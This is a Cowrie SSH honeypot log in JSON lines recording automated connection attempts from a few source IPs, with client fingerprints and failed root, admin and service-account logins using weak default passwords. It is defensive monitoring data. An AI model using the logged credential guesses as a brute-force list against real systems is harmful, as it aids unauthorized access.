{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:43.892210Z","src_ip":"45.156.87.147","session":"49507ef4a69f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:44.127396Z","src_ip":"91.92.42.227","session":"f196df89ba20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:44.130713Z","src_ip":"91.92.42.227","session":"f196df89ba20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@1","message":"login attempt [root/User@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:44.216090Z","src_ip":"27.71.230.31","session":"09ea79fad8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:45.634241Z","src_ip":"91.92.42.227","session":"f196df89ba20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:46.607194Z","src_ip":"27.71.230.31","session":"09ea79fad8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:47.126730Z","src_ip":"91.92.42.227","session":"f196df89ba20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37168,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a24b0b1f472","protocol":"ssh","message":"New connection: 45.156.87.147:37168 (10.17.0.5:22) [session: 2a24b0b1f472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:48.817429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:48.825225Z","src_ip":"45.156.87.147","session":"2a24b0b1f472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:48.909412Z","src_ip":"45.156.87.147","session":"2a24b0b1f472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:49.155284Z","src_ip":"45.156.87.147","session":"2a24b0b1f472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33706,"dst_ip":"10.17.0.5","dst_port":22,"session":"145719d2a01e","protocol":"ssh","message":"New connection: 91.92.42.227:33706 (10.17.0.5:22) [session: 145719d2a01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:49.875268Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:50.298065Z","src_ip":"45.156.87.147","session":"2a24b0b1f472","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:50.449191Z","src_ip":"91.92.42.227","session":"145719d2a01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:50.452580Z","src_ip":"91.92.42.227","session":"145719d2a01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:53.114552Z","src_ip":"91.92.42.227","session":"145719d2a01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:54.764811Z","src_ip":"91.92.42.227","session":"145719d2a01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59248,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b345c92ca54","protocol":"ssh","message":"New connection: 45.156.87.147:59248 (10.17.0.5:22) [session: 1b345c92ca54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:54.989238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:55.086710Z","src_ip":"45.156.87.147","session":"1b345c92ca54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:55.089938Z","src_ip":"45.156.87.147","session":"1b345c92ca54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:55.417139Z","src_ip":"45.156.87.147","session":"1b345c92ca54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:56.501052Z","src_ip":"45.156.87.147","session":"1b345c92ca54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47542,"dst_ip":"10.17.0.5","dst_port":22,"session":"18974f5b200e","protocol":"ssh","message":"New connection: 91.92.42.227:47542 (10.17.0.5:22) [session: 18974f5b200e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:56.650816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:57.169311Z","src_ip":"91.92.42.227","session":"18974f5b200e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:57.172944Z","src_ip":"91.92.42.227","session":"18974f5b200e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:00.229062Z","src_ip":"91.92.42.227","session":"18974f5b200e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39388,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce70192dec36","protocol":"ssh","message":"New connection: 45.156.87.147:39388 (10.17.0.5:22) [session: ce70192dec36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:01.181192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:01.194856Z","src_ip":"45.156.87.147","session":"ce70192dec36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:01.284630Z","src_ip":"45.156.87.147","session":"ce70192dec36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:01.544289Z","src_ip":"45.156.87.147","session":"ce70192dec36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:01.950534Z","src_ip":"91.92.42.227","session":"18974f5b200e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:02.629230Z","src_ip":"45.156.87.147","session":"ce70192dec36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47578,"dst_ip":"10.17.0.5","dst_port":22,"session":"b015abdce706","protocol":"ssh","message":"New connection: 91.92.42.227:47578 (10.17.0.5:22) [session: b015abdce706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:03.256125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:04.324259Z","src_ip":"91.92.42.227","session":"b015abdce706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:04.328762Z","src_ip":"91.92.42.227","session":"b015abdce706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:07.259141Z","src_ip":"91.92.42.227","session":"b015abdce706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39404,"dst_ip":"10.17.0.5","dst_port":22,"session":"caf07f7f9519","protocol":"ssh","message":"New connection: 45.156.87.147:39404 (10.17.0.5:22) [session: caf07f7f9519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:07.364060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:07.370921Z","src_ip":"45.156.87.147","session":"caf07f7f9519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:07.452752Z","src_ip":"45.156.87.147","session":"caf07f7f9519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:07.702934Z","src_ip":"45.156.87.147","session":"caf07f7f9519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:08.601484Z","src_ip":"91.92.42.227","session":"b015abdce706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:08.790787Z","src_ip":"45.156.87.147","session":"caf07f7f9519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59064,"dst_ip":"10.17.0.5","dst_port":22,"session":"b237a2ef8489","protocol":"ssh","message":"New connection: 91.92.42.227:59064 (10.17.0.5:22) [session: b237a2ef8489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:11.655659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:11.683067Z","src_ip":"91.92.42.227","session":"b237a2ef8489","protocol":"ssh"}
